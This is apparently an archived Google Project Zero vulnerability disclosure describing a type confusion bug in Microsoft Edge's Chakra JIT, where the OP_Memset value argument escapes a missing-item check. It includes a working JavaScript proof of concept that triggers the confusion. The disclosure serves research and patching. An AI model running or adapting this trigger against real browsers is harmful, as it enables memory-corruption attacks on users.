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Microsoft Edge Chakra OP_Memset Type Confusion

Microsoft Edge Chakra OP_Memset Type Confusion
Posted Nov 19, 2018
Authored by Google Security Research, lokihardt

Microsoft Edge suffers from a Chakra OP_Memset type confusion vulnerability.

tags | exploit
MD5 | 7b04b630ed5e30e643f82ceeb6a803d3

Microsoft Edge Chakra OP_Memset Type Confusion

Change Mirror Download
Microsoft Edge: Chakra: Type confusion with OP_Memset 




Microsoft Edge: Chakra: Type confusion with OP_Memset

Since the patch for CVE-2018-8372, it checks all inputs to native arrays, and if any input equals to the MissingItem value which can cause type confusion, it starts the bailout process. But it doesn't check the "value" argument to OP_Memset. This can be exploited in the same way as for <a href="/p/project-zero/issues/detail?id=1581" title="Microsoft Edge: Chakra: JIT: Magic value can cause type confusion #2" class="closed_ref" rel="nofollow"> issue 1581 </a>.

PoC:
function memset(arr, value, n) {
for (let i = 0; i < n; i++) {
arr[i] = value;
}
}

function trigger(arr, buggy) {
let tmp = [1];

arr.length;

let res = tmp.concat(buggy);
arr[0] = 0x1234;
arr[1] = 0;
}

function main() {
let tmp = (new Array(100)).fill(1);
for (let i = 0; i < 500; i++) {
memset(tmp, 1, tmp.length);
trigger(tmp, [1]);
}

setTimeout(() => {
let buggy = [1];
let arr = [1, 2];

arr.getPrototypeOf = Object.prototype.valueOf;

buggy.__proto__ = new Proxy({}, arr);

memset(buggy, -524286, 1);
trigger(arr, buggy);

alert(arr);
}, 100);
}

main();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

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